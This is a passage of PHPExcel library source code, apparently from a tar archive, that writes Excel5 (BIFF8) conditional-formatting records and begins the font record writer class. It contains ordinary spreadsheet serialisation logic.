Pattern $bFillStyle = ($conditional->getStyle()->getFill()->getFillType() == null ? 0 : 1); $bFillColor = ($conditional->getStyle()->getFill()->getStartColor()->getARGB() == null ? 0 : 1); $bFillColorBg = ($conditional->getStyle()->getFill()->getEndColor()->getARGB() == null ? 0 : 1); if ($bFillStyle == 0 || $bFillColor == 0 || $bFillColorBg == 0) { $bFormatFill = 1; } else { $bFormatFill = 0; } // Font if ($conditional->getStyle()->getFont()->getName() != null || $conditional->getStyle()->getFont()->getSize() != null || $conditional->getStyle()->getFont()->getBold() != null || $conditional->getStyle()->getFont()->getItalic() != null || $conditional->getStyle()->getFont()->getSuperScript() != null || $conditional->getStyle()->getFont()->getSubScript() != null || $conditional->getStyle()->getFont()->getUnderline() != null || $conditional->getStyle()->getFont()->getStrikethrough() != null || $conditional->getStyle()->getFont()->getColor()->getARGB() != null) { $bFormatFont = 1; } else { $bFormatFont = 0; } // Alignment $flags = 0; $flags |= (1 == $bAlignHz ? 0x00000001 : 0); $flags |= (1 == $bAlignVt ? 0x00000002 : 0); $flags |= (1 == $bAlignWrapTx ? 0x00000004 : 0); $flags |= (1 == $bTxRotation ? 0x00000008 : 0); // Justify last line flag $flags |= (1 == 1 ? 0x00000010 : 0); $flags |= (1 == $bIndent ? 0x00000020 : 0); $flags |= (1 == $bShrinkToFit ? 0x00000040 : 0); // Default $flags |= (1 == 1 ? 0x00000080 : 0); // Protection $flags |= (1 == $bProtLocked ? 0x00000100 : 0); $flags |= (1 == $bProtHidden ? 0x00000200 : 0); // Border $flags |= (1 == $bBorderLeft ? 0x00000400 : 0); $flags |= (1 == $bBorderRight ? 0x00000800 : 0); $flags |= (1 == $bBorderTop ? 0x00001000 : 0); $flags |= (1 == $bBorderBottom ? 0x00002000 : 0); $flags |= (1 == 1 ? 0x00004000 : 0); // Top left to Bottom right border $flags |= (1 == 1 ? 0x00008000 : 0); // Bottom left to Top right border // Pattern $flags |= (1 == $bFillStyle ? 0x00010000 : 0); $flags |= (1 == $bFillColor ? 0x00020000 : 0); $flags |= (1 == $bFillColorBg ? 0x00040000 : 0); $flags |= (1 == 1 ? 0x00380000 : 0); // Font $flags |= (1 == $bFormatFont ? 0x04000000 : 0); // Alignment: $flags |= (1 == $bFormatAlign ? 0x08000000 : 0); // Border $flags |= (1 == $bFormatBorder ? 0x10000000 : 0); // Pattern $flags |= (1 == $bFormatFill ? 0x20000000 : 0); // Protection $flags |= (1 == $bFormatProt ? 0x40000000 : 0); // Text direction $flags |= (1 == 0 ? 0x80000000 : 0); // Data Blocks if ($bFormatFont == 1) { // Font Name if ($conditional->getStyle()->getFont()->getName() == null) { $dataBlockFont = pack('VVVVVVVV', 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000); $dataBlockFont .= pack('VVVVVVVV', 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000); } else { $dataBlockFont = PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($conditional->getStyle()->getFont()->getName()); } // Font Size if ($conditional->getStyle()->getFont()->getSize() == null) { $dataBlockFont .= pack('V', 20 * 11); } else { $dataBlockFont .= pack('V', 20 * $conditional->getStyle()->getFont()->getSize()); } // Font Options $dataBlockFont .= pack('V', 0); // Font weight if ($conditional->getStyle()->getFont()->getBold() == true) { $dataBlockFont .= pack('v', 0x02BC); } else { $dataBlockFont .= pack('v', 0x0190); } // Escapement type if ($conditional->getStyle()->getFont()->getSubScript() == true) { $dataBlockFont .= pack('v', 0x02); $fontEscapement = 0; } elseif ($conditional->getStyle()->getFont()->getSuperScript() == true) { $dataBlockFont .= pack('v', 0x01); $fontEscapement = 0; } else { $dataBlockFont .= pack('v', 0x00); $fontEscapement = 1; } // Underline type switch ($conditional->getStyle()->getFont()->getUnderline()) { case PHPExcel_Style_Font::UNDERLINE_NONE: $dataBlockFont .= pack('C', 0x00); $fontUnderline = 0; break; case PHPExcel_Style_Font::UNDERLINE_DOUBLE: $dataBlockFont .= pack('C', 0x02); $fontUnderline = 0; break; case PHPExcel_Style_Font::UNDERLINE_DOUBLEACCOUNTING: $dataBlockFont .= pack('C', 0x22); $fontUnderline = 0; break; case PHPExcel_Style_Font::UNDERLINE_SINGLE: $dataBlockFont .= pack('C', 0x01); $fontUnderline = 0; break; case PHPExcel_Style_Font::UNDERLINE_SINGLEACCOUNTING: $dataBlockFont .= pack('C', 0x21); $fontUnderline = 0; break; default: $dataBlockFont .= pack('C', 0x00); $fontUnderline = 1; break; } // Not used (3) $dataBlockFont .= pack('vC', 0x0000, 0x00); // Font color index switch ($conditional->getStyle()->getFont()->getColor()->getRGB()) { case '000000': $colorIdx = 0x08; break; case 'FFFFFF': $colorIdx = 0x09; break; case 'FF0000': $colorIdx = 0x0A; break; case '00FF00': $colorIdx = 0x0B; break; case '0000FF': $colorIdx = 0x0C; break; case 'FFFF00': $colorIdx = 0x0D; break; case 'FF00FF': $colorIdx = 0x0E; break; case '00FFFF': $colorIdx = 0x0F; break; case '800000': $colorIdx = 0x10; break; case '008000': $colorIdx = 0x11; break; case '000080': $colorIdx = 0x12; break; case '808000': $colorIdx = 0x13; break; case '800080': $colorIdx = 0x14; break; case '008080': $colorIdx = 0x15; break; case 'C0C0C0': $colorIdx = 0x16; break; case '808080': $colorIdx = 0x17; break; case '9999FF': $colorIdx = 0x18; break; case '993366': $colorIdx = 0x19; break; case 'FFFFCC': $colorIdx = 0x1A; break; case 'CCFFFF': $colorIdx = 0x1B; break; case '660066': $colorIdx = 0x1C; break; case 'FF8080': $colorIdx = 0x1D; break; case '0066CC': $colorIdx = 0x1E; break; case 'CCCCFF': $colorIdx = 0x1F; break; case '000080': $colorIdx = 0x20; break; case 'FF00FF': $colorIdx = 0x21; break; case 'FFFF00': $colorIdx = 0x22; break; case '00FFFF': $colorIdx = 0x23; break; case '800080': $colorIdx = 0x24; break; case '800000': $colorIdx = 0x25; break; case '008080': $colorIdx = 0x26; break; case '0000FF': $colorIdx = 0x27; break; case '00CCFF': $colorIdx = 0x28; break; case 'CCFFFF': $colorIdx = 0x29; break; case 'CCFFCC': $colorIdx = 0x2A; break; case 'FFFF99': $colorIdx = 0x2B; break; case '99CCFF': $colorIdx = 0x2C; break; case 'FF99CC': $colorIdx = 0x2D; break; case 'CC99FF': $colorIdx = 0x2E; break; case 'FFCC99': $colorIdx = 0x2F; break; case '3366FF': $colorIdx = 0x30; break; case '33CCCC': $colorIdx = 0x31; break; case '99CC00': $colorIdx = 0x32; break; case 'FFCC00': $colorIdx = 0x33; break; case 'FF9900': $colorIdx = 0x34; break; case 'FF6600': $colorIdx = 0x35; break; case '666699': $colorIdx = 0x36; break; case '969696': $colorIdx = 0x37; break; case '003366': $colorIdx = 0x38; break; case '339966': $colorIdx = 0x39; break; case '003300': $colorIdx = 0x3A; break; case '333300': $colorIdx = 0x3B; break; case '993300': $colorIdx = 0x3C; break; case '993366': $colorIdx = 0x3D; break; case '333399': $colorIdx = 0x3E; break; case '333333': $colorIdx = 0x3F; break; default: $colorIdx = 0x00; break; } $dataBlockFont .= pack('V', $colorIdx); // Not used (4) $dataBlockFont .= pack('V', 0x00000000); // Options flags for modified font attributes $optionsFlags = 0; $optionsFlagsBold = ($conditional->getStyle()->getFont()->getBold() == null ? 1 : 0); $optionsFlags |= (1 == $optionsFlagsBold ? 0x00000002 : 0); $optionsFlags |= (1 == 1 ? 0x00000008 : 0); $optionsFlags |= (1 == 1 ? 0x00000010 : 0); $optionsFlags |= (1 == 0 ? 0x00000020 : 0); $optionsFlags |= (1 == 1 ? 0x00000080 : 0); $dataBlockFont .= pack('V', $optionsFlags); // Escapement type $dataBlockFont .= pack('V', $fontEscapement); // Underline type $dataBlockFont .= pack('V', $fontUnderline); // Always $dataBlockFont .= pack('V', 0x00000000); // Always $dataBlockFont .= pack('V', 0x00000000); // Not used (8) $dataBlockFont .= pack('VV', 0x00000000, 0x00000000); // Always $dataBlockFont .= pack('v', 0x0001); } if ($bFormatAlign == 1) { $blockAlign = 0; // Alignment and text break switch ($conditional->getStyle()->getAlignment()->getHorizontal()) { case PHPExcel_Style_Alignment::HORIZONTAL_GENERAL: $blockAlign = 0; break; case PHPExcel_Style_Alignment::HORIZONTAL_LEFT: $blockAlign = 1; break; case PHPExcel_Style_Alignment::HORIZONTAL_RIGHT: $blockAlign = 3; break; case PHPExcel_Style_Alignment::HORIZONTAL_CENTER: $blockAlign = 2; break; case PHPExcel_Style_Alignment::HORIZONTAL_CENTER_CONTINUOUS: $blockAlign = 6; break; case PHPExcel_Style_Alignment::HORIZONTAL_JUSTIFY: $blockAlign = 5; break; } if ($conditional->getStyle()->getAlignment()->getWrapText() == true) { $blockAlign |= 1 << 3; } else { $blockAlign |= 0 << 3; } switch ($conditional->getStyle()->getAlignment()->getVertical()) { case PHPExcel_Style_Alignment::VERTICAL_BOTTOM: $blockAlign = 2 << 4; break; case PHPExcel_Style_Alignment::VERTICAL_TOP: $blockAlign = 0 << 4; break; case PHPExcel_Style_Alignment::VERTICAL_CENTER: $blockAlign = 1 << 4; break; case PHPExcel_Style_Alignment::VERTICAL_JUSTIFY: $blockAlign = 3 << 4; break; } $blockAlign |= 0 << 7; // Text rotation angle $blockRotation = $conditional->getStyle()->getAlignment()->getTextRotation(); // Indentation $blockIndent = $conditional->getStyle()->getAlignment()->getIndent(); if ($conditional->getStyle()->getAlignment()->getShrinkToFit() == true) { $blockIndent |= 1 << 4; } else { $blockIndent |= 0 << 4; } $blockIndent |= 0 << 6; // Relative indentation $blockIndentRelative = 255; $dataBlockAlign = pack('CCvvv', $blockAlign, $blockRotation, $blockIndent, $blockIndentRelative, 0x0000); } if ($bFormatBorder == 1) { $blockLineStyle = 0; switch ($conditional->getStyle()->getBorders()->getLeft()->getBorderStyle()) { case PHPExcel_Style_Border::BORDER_NONE: $blockLineStyle |= 0x00; break; case PHPExcel_Style_Border::BORDER_THIN: $blockLineStyle |= 0x01; break; case PHPExcel_Style_Border::BORDER_MEDIUM: $blockLineStyle |= 0x02; break; case PHPExcel_Style_Border::BORDER_DASHED: $blockLineStyle |= 0x03; break; case PHPExcel_Style_Border::BORDER_DOTTED: $blockLineStyle |= 0x04; break; case PHPExcel_Style_Border::BORDER_THICK: $blockLineStyle |= 0x05; break; case PHPExcel_Style_Border::BORDER_DOUBLE: $blockLineStyle |= 0x06; break; case PHPExcel_Style_Border::BORDER_HAIR: $blockLineStyle |= 0x07; break; case PHPExcel_Style_Border::BORDER_MEDIUMDASHED: $blockLineStyle |= 0x08; break; case PHPExcel_Style_Border::BORDER_DASHDOT: $blockLineStyle |= 0x09; break; case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOT: $blockLineStyle |= 0x0A; break; case PHPExcel_Style_Border::BORDER_DASHDOTDOT: $blockLineStyle |= 0x0B; break; case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOTDOT: $blockLineStyle |= 0x0C; break; case PHPExcel_Style_Border::BORDER_SLANTDASHDOT: $blockLineStyle |= 0x0D; break; } switch ($conditional->getStyle()->getBorders()->getRight()->getBorderStyle()) { case PHPExcel_Style_Border::BORDER_NONE: $blockLineStyle |= 0x00 << 4; break; case PHPExcel_Style_Border::BORDER_THIN: $blockLineStyle |= 0x01 << 4; break; case PHPExcel_Style_Border::BORDER_MEDIUM: $blockLineStyle |= 0x02 << 4; break; case PHPExcel_Style_Border::BORDER_DASHED: $blockLineStyle |= 0x03 << 4; break; case PHPExcel_Style_Border::BORDER_DOTTED: $blockLineStyle |= 0x04 << 4; break; case PHPExcel_Style_Border::BORDER_THICK: $blockLineStyle |= 0x05 << 4; break; case PHPExcel_Style_Border::BORDER_DOUBLE: $blockLineStyle |= 0x06 << 4; break; case PHPExcel_Style_Border::BORDER_HAIR: $blockLineStyle |= 0x07 << 4; break; case PHPExcel_Style_Border::BORDER_MEDIUMDASHED: $blockLineStyle |= 0x08 << 4; break; case PHPExcel_Style_Border::BORDER_DASHDOT: $blockLineStyle |= 0x09 << 4; break; case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOT: $blockLineStyle |= 0x0A << 4; break; case PHPExcel_Style_Border::BORDER_DASHDOTDOT: $blockLineStyle |= 0x0B << 4; break; case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOTDOT: $blockLineStyle |= 0x0C << 4; break; case PHPExcel_Style_Border::BORDER_SLANTDASHDOT: $blockLineStyle |= 0x0D << 4; break; } switch ($conditional->getStyle()->getBorders()->getTop()->getBorderStyle()) { case PHPExcel_Style_Border::BORDER_NONE: $blockLineStyle |= 0x00 << 8; break; case PHPExcel_Style_Border::BORDER_THIN: $blockLineStyle |= 0x01 << 8; break; case PHPExcel_Style_Border::BORDER_MEDIUM: $blockLineStyle |= 0x02 << 8; break; case PHPExcel_Style_Border::BORDER_DASHED: $blockLineStyle |= 0x03 << 8; break; case PHPExcel_Style_Border::BORDER_DOTTED: $blockLineStyle |= 0x04 << 8; break; case PHPExcel_Style_Border::BORDER_THICK: $blockLineStyle |= 0x05 << 8; break; case PHPExcel_Style_Border::BORDER_DOUBLE: $blockLineStyle |= 0x06 << 8; break; case PHPExcel_Style_Border::BORDER_HAIR: $blockLineStyle |= 0x07 << 8; break; case PHPExcel_Style_Border::BORDER_MEDIUMDASHED: $blockLineStyle |= 0x08 << 8; break; case PHPExcel_Style_Border::BORDER_DASHDOT: $blockLineStyle |= 0x09 << 8; break; case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOT: $blockLineStyle |= 0x0A << 8; break; case PHPExcel_Style_Border::BORDER_DASHDOTDOT: $blockLineStyle |= 0x0B << 8; break; case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOTDOT: $blockLineStyle |= 0x0C << 8; break; case PHPExcel_Style_Border::BORDER_SLANTDASHDOT: $blockLineStyle |= 0x0D << 8; break; } switch ($conditional->getStyle()->getBorders()->getBottom()->getBorderStyle()) { case PHPExcel_Style_Border::BORDER_NONE: $blockLineStyle |= 0x00 << 12; break; case PHPExcel_Style_Border::BORDER_THIN: $blockLineStyle |= 0x01 << 12; break; case PHPExcel_Style_Border::BORDER_MEDIUM: $blockLineStyle |= 0x02 << 12; break; case PHPExcel_Style_Border::BORDER_DASHED: $blockLineStyle |= 0x03 << 12; break; case PHPExcel_Style_Border::BORDER_DOTTED: $blockLineStyle |= 0x04 << 12; break; case PHPExcel_Style_Border::BORDER_THICK: $blockLineStyle |= 0x05 << 12; break; case PHPExcel_Style_Border::BORDER_DOUBLE: $blockLineStyle |= 0x06 << 12; break; case PHPExcel_Style_Border::BORDER_HAIR: $blockLineStyle |= 0x07 << 12; break; case PHPExcel_Style_Border::BORDER_MEDIUMDASHED: $blockLineStyle |= 0x08 << 12; break; case PHPExcel_Style_Border::BORDER_DASHDOT: $blockLineStyle |= 0x09 << 12; break; case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOT: $blockLineStyle |= 0x0A << 12; break; case PHPExcel_Style_Border::BORDER_DASHDOTDOT: $blockLineStyle |= 0x0B << 12; break; case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOTDOT: $blockLineStyle |= 0x0C << 12; break; case PHPExcel_Style_Border::BORDER_SLANTDASHDOT: $blockLineStyle |= 0x0D << 12; break; } //@todo writeCFRule() => $blockLineStyle => Index Color for left line //@todo writeCFRule() => $blockLineStyle => Index Color for right line //@todo writeCFRule() => $blockLineStyle => Top-left to bottom-right on/off //@todo writeCFRule() => $blockLineStyle => Bottom-left to top-right on/off $blockColor = 0; //@todo writeCFRule() => $blockColor => Index Color for top line //@todo writeCFRule() => $blockColor => Index Color for bottom line //@todo writeCFRule() => $blockColor => Index Color for diagonal line switch ($conditional->getStyle()->getBorders()->getDiagonal()->getBorderStyle()) { case PHPExcel_Style_Border::BORDER_NONE: $blockColor |= 0x00 << 21; break; case PHPExcel_Style_Border::BORDER_THIN: $blockColor |= 0x01 << 21; break; case PHPExcel_Style_Border::BORDER_MEDIUM: $blockColor |= 0x02 << 21; break; case PHPExcel_Style_Border::BORDER_DASHED: $blockColor |= 0x03 << 21; break; case PHPExcel_Style_Border::BORDER_DOTTED: $blockColor |= 0x04 << 21; break; case PHPExcel_Style_Border::BORDER_THICK: $blockColor |= 0x05 << 21; break; case PHPExcel_Style_Border::BORDER_DOUBLE: $blockColor |= 0x06 << 21; break; case PHPExcel_Style_Border::BORDER_HAIR: $blockColor |= 0x07 << 21; break; case PHPExcel_Style_Border::BORDER_MEDIUMDASHED: $blockColor |= 0x08 << 21; break; case PHPExcel_Style_Border::BORDER_DASHDOT: $blockColor |= 0x09 << 21; break; case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOT: $blockColor |= 0x0A << 21; break; case PHPExcel_Style_Border::BORDER_DASHDOTDOT: $blockColor |= 0x0B << 21; break; case PHPExcel_Style_Border::BORDER_MEDIUMDASHDOTDOT: $blockColor |= 0x0C << 21; break; case PHPExcel_Style_Border::BORDER_SLANTDASHDOT: $blockColor |= 0x0D << 21; break; } $dataBlockBorder = pack('vv', $blockLineStyle, $blockColor); } if ($bFormatFill == 1) { // Fill Patern Style $blockFillPatternStyle = 0; switch ($conditional->getStyle()->getFill()->getFillType()) { case PHPExcel_Style_Fill::FILL_NONE: $blockFillPatternStyle = 0x00; break; case PHPExcel_Style_Fill::FILL_SOLID: $blockFillPatternStyle = 0x01; break; case PHPExcel_Style_Fill::FILL_PATTERN_MEDIUMGRAY: $blockFillPatternStyle = 0x02; break; case PHPExcel_Style_Fill::FILL_PATTERN_DARKGRAY: $blockFillPatternStyle = 0x03; break; case PHPExcel_Style_Fill::FILL_PATTERN_LIGHTGRAY: $blockFillPatternStyle = 0x04; break; case PHPExcel_Style_Fill::FILL_PATTERN_DARKHORIZONTAL: $blockFillPatternStyle = 0x05; break; case PHPExcel_Style_Fill::FILL_PATTERN_DARKVERTICAL: $blockFillPatternStyle = 0x06; break; case PHPExcel_Style_Fill::FILL_PATTERN_DARKDOWN: $blockFillPatternStyle = 0x07; break; case PHPExcel_Style_Fill::FILL_PATTERN_DARKUP: $blockFillPatternStyle = 0x08; break; case PHPExcel_Style_Fill::FILL_PATTERN_DARKGRID: $blockFillPatternStyle = 0x09; break; case PHPExcel_Style_Fill::FILL_PATTERN_DARKTRELLIS: $blockFillPatternStyle = 0x0A; break; case PHPExcel_Style_Fill::FILL_PATTERN_LIGHTHORIZONTAL: $blockFillPatternStyle = 0x0B; break; case PHPExcel_Style_Fill::FILL_PATTERN_LIGHTVERTICAL: $blockFillPatternStyle = 0x0C; break; case PHPExcel_Style_Fill::FILL_PATTERN_LIGHTDOWN: $blockFillPatternStyle = 0x0D; break; case PHPExcel_Style_Fill::FILL_PATTERN_LIGHTUP: $blockFillPatternStyle = 0x0E; break; case PHPExcel_Style_Fill::FILL_PATTERN_LIGHTGRID: $blockFillPatternStyle = 0x0F; break; case PHPExcel_Style_Fill::FILL_PATTERN_LIGHTTRELLIS: $blockFillPatternStyle = 0x10; break; case PHPExcel_Style_Fill::FILL_PATTERN_GRAY125: $blockFillPatternStyle = 0x11; break; case PHPExcel_Style_Fill::FILL_PATTERN_GRAY0625: $blockFillPatternStyle = 0x12; break; case PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR: $blockFillPatternStyle = 0x00; break; // does not exist in BIFF8 case PHPExcel_Style_Fill::FILL_GRADIENT_PATH: $blockFillPatternStyle = 0x00; break; // does not exist in BIFF8 default: $blockFillPatternStyle = 0x00; break; } // Color switch ($conditional->getStyle()->getFill()->getStartColor()->getRGB()) { case '000000': $colorIdxBg = 0x08; break; case 'FFFFFF': $colorIdxBg = 0x09; break; case 'FF0000': $colorIdxBg = 0x0A; break; case '00FF00': $colorIdxBg = 0x0B; break; case '0000FF': $colorIdxBg = 0x0C; break; case 'FFFF00': $colorIdxBg = 0x0D; break; case 'FF00FF': $colorIdxBg = 0x0E; break; case '00FFFF': $colorIdxBg = 0x0F; break; case '800000': $colorIdxBg = 0x10; break; case '008000': $colorIdxBg = 0x11; break; case '000080': $colorIdxBg = 0x12; break; case '808000': $colorIdxBg = 0x13; break; case '800080': $colorIdxBg = 0x14; break; case '008080': $colorIdxBg = 0x15; break; case 'C0C0C0': $colorIdxBg = 0x16; break; case '808080': $colorIdxBg = 0x17; break; case '9999FF': $colorIdxBg = 0x18; break; case '993366': $colorIdxBg = 0x19; break; case 'FFFFCC': $colorIdxBg = 0x1A; break; case 'CCFFFF': $colorIdxBg = 0x1B; break; case '660066': $colorIdxBg = 0x1C; break; case 'FF8080': $colorIdxBg = 0x1D; break; case '0066CC': $colorIdxBg = 0x1E; break; case 'CCCCFF': $colorIdxBg = 0x1F; break; case '000080': $colorIdxBg = 0x20; break; case 'FF00FF': $colorIdxBg = 0x21; break; case 'FFFF00': $colorIdxBg = 0x22; break; case '00FFFF': $colorIdxBg = 0x23; break; case '800080': $colorIdxBg = 0x24; break; case '800000': $colorIdxBg = 0x25; break; case '008080': $colorIdxBg = 0x26; break; case '0000FF': $colorIdxBg = 0x27; break; case '00CCFF': $colorIdxBg = 0x28; break; case 'CCFFFF': $colorIdxBg = 0x29; break; case 'CCFFCC': $colorIdxBg = 0x2A; break; case 'FFFF99': $colorIdxBg = 0x2B; break; case '99CCFF': $colorIdxBg = 0x2C; break; case 'FF99CC': $colorIdxBg = 0x2D; break; case 'CC99FF': $colorIdxBg = 0x2E; break; case 'FFCC99': $colorIdxBg = 0x2F; break; case '3366FF': $colorIdxBg = 0x30; break; case '33CCCC': $colorIdxBg = 0x31; break; case '99CC00': $colorIdxBg = 0x32; break; case 'FFCC00': $colorIdxBg = 0x33; break; case 'FF9900': $colorIdxBg = 0x34; break; case 'FF6600': $colorIdxBg = 0x35; break; case '666699': $colorIdxBg = 0x36; break; case '969696': $colorIdxBg = 0x37; break; case '003366': $colorIdxBg = 0x38; break; case '339966': $colorIdxBg = 0x39; break; case '003300': $colorIdxBg = 0x3A; break; case '333300': $colorIdxBg = 0x3B; break; case '993300': $colorIdxBg = 0x3C; break; case '993366': $colorIdxBg = 0x3D; break; case '333399': $colorIdxBg = 0x3E; break; case '333333': $colorIdxBg = 0x3F; break; default: $colorIdxBg = 0x41; break; } // Fg Color switch ($conditional->getStyle()->getFill()->getEndColor()->getRGB()) { case '000000': $colorIdxFg = 0x08; break; case 'FFFFFF': $colorIdxFg = 0x09; break; case 'FF0000': $colorIdxFg = 0x0A; break; case '00FF00': $colorIdxFg = 0x0B; break; case '0000FF': $colorIdxFg = 0x0C; break; case 'FFFF00': $colorIdxFg = 0x0D; break; case 'FF00FF': $colorIdxFg = 0x0E; break; case '00FFFF': $colorIdxFg = 0x0F; break; case '800000': $colorIdxFg = 0x10; break; case '008000': $colorIdxFg = 0x11; break; case '000080': $colorIdxFg = 0x12; break; case '808000': $colorIdxFg = 0x13; break; case '800080': $colorIdxFg = 0x14; break; case '008080': $colorIdxFg = 0x15; break; case 'C0C0C0': $colorIdxFg = 0x16; break; case '808080': $colorIdxFg = 0x17; break; case '9999FF': $colorIdxFg = 0x18; break; case '993366': $colorIdxFg = 0x19; break; case 'FFFFCC': $colorIdxFg = 0x1A; break; case 'CCFFFF': $colorIdxFg = 0x1B; break; case '660066': $colorIdxFg = 0x1C; break; case 'FF8080': $colorIdxFg = 0x1D; break; case '0066CC': $colorIdxFg = 0x1E; break; case 'CCCCFF': $colorIdxFg = 0x1F; break; case '000080': $colorIdxFg = 0x20; break; case 'FF00FF': $colorIdxFg = 0x21; break; case 'FFFF00': $colorIdxFg = 0x22; break; case '00FFFF': $colorIdxFg = 0x23; break; case '800080': $colorIdxFg = 0x24; break; case '800000': $colorIdxFg = 0x25; break; case '008080': $colorIdxFg = 0x26; break; case '0000FF': $colorIdxFg = 0x27; break; case '00CCFF': $colorIdxFg = 0x28; break; case 'CCFFFF': $colorIdxFg = 0x29; break; case 'CCFFCC': $colorIdxFg = 0x2A; break; case 'FFFF99': $colorIdxFg = 0x2B; break; case '99CCFF': $colorIdxFg = 0x2C; break; case 'FF99CC': $colorIdxFg = 0x2D; break; case 'CC99FF': $colorIdxFg = 0x2E; break; case 'FFCC99': $colorIdxFg = 0x2F; break; case '3366FF': $colorIdxFg = 0x30; break; case '33CCCC': $colorIdxFg = 0x31; break; case '99CC00': $colorIdxFg = 0x32; break; case 'FFCC00': $colorIdxFg = 0x33; break; case 'FF9900': $colorIdxFg = 0x34; break; case 'FF6600': $colorIdxFg = 0x35; break; case '666699': $colorIdxFg = 0x36; break; case '969696': $colorIdxFg = 0x37; break; case '003366': $colorIdxFg = 0x38; break; case '339966': $colorIdxFg = 0x39; break; case '003300': $colorIdxFg = 0x3A; break; case '333300': $colorIdxFg = 0x3B; break; case '993300': $colorIdxFg = 0x3C; break; case '993366': $colorIdxFg = 0x3D; break; case '333399': $colorIdxFg = 0x3E; break; case '333333': $colorIdxFg = 0x3F; break; default: $colorIdxFg = 0x40; break; } $dataBlockFill = pack('v', $blockFillPatternStyle); $dataBlockFill .= pack('v', $colorIdxFg | ($colorIdxBg << 7)); } if ($bFormatProt == 1) { $dataBlockProtection = 0; if ($conditional->getStyle()->getProtection()->getLocked() == PHPExcel_Style_Protection::PROTECTION_PROTECTED) { $dataBlockProtection = 1; } if ($conditional->getStyle()->getProtection()->getHidden() == PHPExcel_Style_Protection::PROTECTION_PROTECTED) { $dataBlockProtection = 1 << 1; } } $data = pack('CCvvVv', $type, $operatorType, $szValue1, $szValue2, $flags, 0x0000); if ($bFormatFont == 1) { // Block Formatting : OK $data .= $dataBlockFont; } if ($bFormatAlign == 1) { $data .= $dataBlockAlign; } if ($bFormatBorder == 1) { $data .= $dataBlockBorder; } if ($bFormatFill == 1) { // Block Formatting : OK $data .= $dataBlockFill; } if ($bFormatProt == 1) { $data .= $dataBlockProtection; } if (!is_null($operand1)) { $data .= $operand1; } if (!is_null($operand2)) { $data .= $operand2; } $header = pack('vv', $record, strlen($data)); $this->append($header . $data); } /** * Write CFHeader record */ private function writeCFHeader() { $record = 0x01B0; // Record identifier $length = 0x0016; // Bytes to follow $numColumnMin = null; $numColumnMax = null; $numRowMin = null; $numRowMax = null; $arrConditional = array(); foreach ($this->phpSheet->getConditionalStylesCollection() as $cellCoordinate => $conditionalStyles) { foreach ($conditionalStyles as $conditional) { if ($conditional->getConditionType() == PHPExcel_Style_Conditional::CONDITION_EXPRESSION || $conditional->getConditionType() == PHPExcel_Style_Conditional::CONDITION_CELLIS) { if (!in_array($conditional->getHashCode(), $arrConditional)) { $arrConditional[] = $conditional->getHashCode(); } // Cells $arrCoord = PHPExcel_Cell::coordinateFromString($cellCoordinate); if (!is_numeric($arrCoord[0])) { $arrCoord[0] = PHPExcel_Cell::columnIndexFromString($arrCoord[0]); } if (is_null($numColumnMin) || ($numColumnMin > $arrCoord[0])) { $numColumnMin = $arrCoord[0]; } if (is_null($numColumnMax) || ($numColumnMax < $arrCoord[0])) { $numColumnMax = $arrCoord[0]; } if (is_null($numRowMin) || ($numRowMin > $arrCoord[1])) { $numRowMin = $arrCoord[1]; } if (is_null($numRowMax) || ($numRowMax < $arrCoord[1])) { $numRowMax = $arrCoord[1]; } } } } $needRedraw = 1; $cellRange = pack('vvvv', $numRowMin-1, $numRowMax-1, $numColumnMin-1, $numColumnMax-1); $header = pack('vv', $record, $length); $data = pack('vv', count($arrConditional), $needRedraw); $data .= $cellRange; $data .= pack('v', 0x0001); $data .= $cellRange; $this->append($header . $data); } } PHPExcel/Writer/Excel5/Font.php 0000644 00000010550 14642534110 0012175 0 ustar 00 <?php /** * PHPExcel_Writer_Excel5_Font * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel5 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_Excel5_Font { /** * Color index * * @var int */ private $colorIndex; /** * Font * * @var PHPExcel_Style_Font */ private $font; /** * Constructor * * @param PHPExcel_Style_Font $font */ public function __construct(PHPExcel_Style_Font $font = null) { $this->colorIndex = 0x7FFF; $this->font = $font; } /** * Set the color index * * @param int $colorIndex */ public function setColorIndex($colorIndex) { $this->colorIndex = $colorIndex; } /** * Get font record data * * @return string */ public function writeFont() { $font_outline = 0; $font_shadow = 0; $icv = $this->colorIndex; // Index to color palette if ($this->font->getSuperScript()) { $sss = 1; } elseif ($this->font->getSubScript()) { $sss = 2; } else { $sss = 0; } $bFamily = 0; // Font family $bCharSet = PHPExcel_Shared_Font::getCharsetFromFontName($this->font->getName()); // Character set $record = 0x31; // Record identifier $reserved = 0x00; // Reserved $grbit = 0x00; // Font attributes if ($this->font->getItalic()) { $grbit |= 0x02; } if ($this->font->getStrikethrough()) { $grbit |= 0x08; } if ($font_outline) { $grbit |= 0x10; } if ($font_shadow) { $grbit |= 0x20; } $data = pack( "vvvvvCCCC", // Fontsize (in twips) $this->font->getSize() * 20, $grbit, // Colour $icv, // Font weight self::mapBold($this->font->getBold()), // Superscript/Subscript $sss, self::mapUnderline($this->font->getUnderline()), $bFamily, $bCharSet, $reserved ); $data .= 